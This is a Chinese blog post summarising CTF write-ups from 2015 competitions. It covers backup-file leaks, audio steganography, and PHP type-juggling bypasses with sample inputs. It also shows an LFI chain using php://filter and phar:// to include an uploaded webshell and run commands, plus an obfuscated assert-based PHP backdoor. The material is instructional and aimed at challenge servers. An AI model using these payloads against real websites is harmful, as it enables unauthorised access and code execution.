首页
学习
活动
专区
圈层
工具
发布
社区首页 >专栏 >ctf近期总结

ctf近期总结

作者头像
LoRexxar
发布2023-02-20 15:23:48
发布2023-02-20 15:23:48
8750
举报
文章被收录于专栏:LoRexxar's BlogLoRexxar's Blog

这几个月参加了几个ctf比赛,包括360杯,强网杯,cuit,这几次的比赛都给我很多帮助,现在做一点儿总结…

writeup

先放下这3个比赛的writeup,以供以后需要的时候查阅。 强网杯writeup: https://github.com/JayvicWen/CTF/tree/master/2015/Qiangwang%20Cup%20(强网杯)/writeup cuit比赛writeup

备份文件泄露

在这次的比赛中包括360杯cuit都多次考到了备份文件泄露漏洞,下面是我这几次遇到的漏洞。

  • Linux : xxx.php —> xxx.php~ || .xxx.php.swp
  • bak的后缀 —> xxx.xxx.bak
  • 有时候还可以试试压缩文件 —> xxx.rar || xxx.zip
  • 还有就是这次遇到MAC系统中的 ‘.DS_Store’ —> 这是个单独的文件就比如xxx/xxx/.DS_Store

音频隐写

这次强网杯碰到了这类有意思的题目,图片隐写就不多说了,这里讲讲音频隐写,这类题目由于接触过少而且难度参差不齐,所以很多东西都是比较新的,其中解法新颖… 1.第一种是百度的时候无意间看到的一类题型,flag隐藏的频率中,大概的做法就是找到音乐中不合理的地方,然后放大就可以发现,很明显发现这次题并不是这样的。 2.第二种和图片隐写类似,相当于把flag或者提示信息放在音乐中,把ascii转化为二进制然后插入到音乐中,这类方式一般难以发现,因为音乐一般信息量巨大,甚至1秒的数据就可以超过图片,这类题目大体的做法是找00,从空信息中间寻找问题,难度过高,这里就不赘述了。 3.最后就是这次题目的做法,想法相当好,题目首先拖到audacity,从频率分析中可以看到高频区有很明显的问题。

切换的频谱图模式,看到高频段有明显的小段。writeup告诉我们,这里按照0.1+0.4*x秒的模式翻译成二进制得到一些字符,仔细分析可以发现每8bit倒序一下得到flag。

代码漏洞(代码审计)#

这几次的ctf常常能遇到一类web题目,是关于php的一些漏洞… 1.首先是php4fun上的一道题目,被强网杯拿出来用。

代码语言:javascript
复制
<?php

//TODO: connect to DB 

$id = $_GET['id'];

//TODO: sqli filter

$secretId = 1024;
if($id == $secretId){
    echo 'Invalid id ('.$id.').';
}
else{
    $query = 'SELECT * FROM notes WHERE id = \''.$id.'\';';
    $result = mysql_query($query,$conn);
    $row = mysql_fetch_assoc($result);

    echo "notes: ".$row['notes']."</br>";
}
?>

这里我们利用PHP和MySQL的精度不同可以使得id == secretId的判断为false的同时SQL又能取到id为1024的记录,即我们只要传id=1024.00000001(具体几个0不重要,多了少了都不会爆flag的)

2.第二个是360的题目,题目打开是一张图片,按照360的鸟性,直接拿去看信息,果然看到一串由-.构成的东西,这个是摩斯码,拿去解码后得到源码。

代码语言:javascript
复制
<?php
    $a= "0.1";
    $b= $_GET['b'];
    if($b! = '' )
    {
        if(is_array  ($b))
        {
            echo "nokey!";
            exit;
        }
        else if(!is_numeric ($b ))
        {
            $c   = (int)(($a + $b  ) * 10 );
            if  ($c   == "8" && $b  [10 ] == false )
            {
                echo   "flag ";
            }
            else
            {
                echo  "nokey ";
                exit  ;
            }
        }
        else {echo  "nokey ";}
    }
    else {echo  "no  ";}
?>

分析源码知道要满足b不是数字不是数组,然后a+b为8且第十位什么都没有,构造b=0.7b,得到flag,现在也不知道为什么后面的字母会被忽略。

3.数据库查询的逻辑漏洞 这里是卡死了无数人的360杯web20,文章的原址是遇到一个有趣的逻辑漏洞

文件上传

由于文件上传之前很少接触到,这里强网杯的俳句分析系统是接触的第一个文件上传,这道题是模仿CodeGate 2015 的猫头鹰。 翻一翻页面发现url有形如/index.php?page=[upload|view],page的参数可以是链接,于是用php filter来获取源代码

代码语言:javascript
复制
/index.php?page=php://filter/read=convert.base64-encode/resource=index
/index.php?page=php://filter/read=convert.base64-encode/resource=main
/index.php?page=php://filter/read=convert.base64-encode/resource=view
/index.php?page=php://filter/read=convert.base64-encode/resource=upload

index.php中有这么一串代码

代码语言:javascript
复制
$inc=sprintf("%s.php", $p);
include($inc);

那么无法用%00截断.php,这样无法直接传.tx,于是用压缩文件绕过这个,这里有两个常用的封装归档协议。

  • zip://php.zip#test
  • phar://php.zip/test 这里php.zip为你上传的文件,后面的test的是压缩文件中你所加入一句话的test.php 源码中看到地址,然后使用中国菜刀,用/index.php?page=phar://upload_paiju/xxxxxxx.txt/a来成功include,然后是各种列目录,然后发现/srv/flag 使用/index.php?cmd=print_r(file_get_contents(‘/srv/FLAG’));&page=phar://./upload_paiju/xxxxxxx.txt/a拿到flag

加密解密

这次遇到好几个很特别的加密解密题目,尤其是360脑洞杯,这里也小小做个总结。 很多题目可能都是字符替换,这样就要计算频率,基本都是拖入这个quipqiup分析。 1.强网杯的替换方式为前后不一致,单独分析就能得到答案,也可以通过判断关键字符脑洞获得答案。 2.360杯的第一题加密比较特殊,使用了键盘上的字符顺序,按个分析既可得到答案。 3.360杯web20,从服务器上下载一个奇怪的php文件,答案后发现是base64+gzinflate加密,把其中的eval换成echo,看到加密前的代码:

代码语言:javascript
复制
${("#"^"|").("#"^"|").("#"^"|")}=("_"^"=").("!"^"`").("( "^"{").("~"^";").'6'.'4_'.("{"^"?").("~"^";").("?"^"|").("/"^"`").("{"^"?").("~"^";"); ${("#"^"|").("#"^"|")}=("!"^"`").("( "^"{").("("^"[").("~"^";").("|"^".").("*"^"~"); ${("#"^"|").("#"^"|")}(${("#"^"|").("#"^"|").("#"^"|")}("YXNzZXJ0X29wdGlvbnMoQVNTRVJUX1dBUk5JTkcsIDApOw==")); ${("#"^"|").("#"^"|")}(${("#"^"|").("#"^"|").("#"^"|")}(("`"^":").("#"^"{").("&"^"|").("("^"@").("_"^"=").("~"^"=").("]"^":").("+"^"@").("|"^"$")."1".("}"^"?").("+"^"{").("|"^")")."1".("}"^"/").("?"^"]").("<"^"_").("$"^"`").("|"^".").("."^"[").("`"^"/").("("^"~")."96".("`"^"-").("("^"~")."96".("["^":").("{"^"?").("`"^".").("^"^"+").("/"^"`").("("^"~")."9".("_"^".").("-"^"`").("}"^"%").("{"^"-").("@"^"&").(")"^"|")."2".("]"^":").("#"^"[").("$"^"|")."0".("/"^"@").("#"^"[").("`"^"-")."10".("^"^".")));

明显看到有一串base64,解密得到

代码语言:javascript
复制
assert_options(ASSERT_WARNING, 0);

发现这句话是让assert不发出警告,直接去掉这串代码运行,直接爆出一句话木马的密码,也可以把后面一段echo输出,得到用base64解密得到flag。 4.360杯web40,这题很特殊,一般人看到一串只有大写字母和数字=构成的可能会想到是base32,但这题并不是这样的,我们用base64解密后,找出不可打印字符,枚举大小写后得到8个符合的字符串,提交就能得到flag。 5.还有一类题目是给一个镜像文件,这里也没有什么特别的办法,只能使用DiskGenius的恢复文件功能进行回复。

代码去重

在这次的ctf比赛中遇到这一类比较有意思的问题,ctf中,你往往会得到一串比你想象中复杂的多的代码,例如jsfuck,前面提到的摩斯电码,还有上面的加密。 360杯中网络协议20就得到这样一段很奇怪的代码。去重只有直接得到了flag。

本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
原始发表:2015/06/11,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • writeup
  • 备份文件泄露
  • 音频隐写
  • 代码漏洞(代码审计)#
  • 文件上传
  • 加密解密
  • 代码去重
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档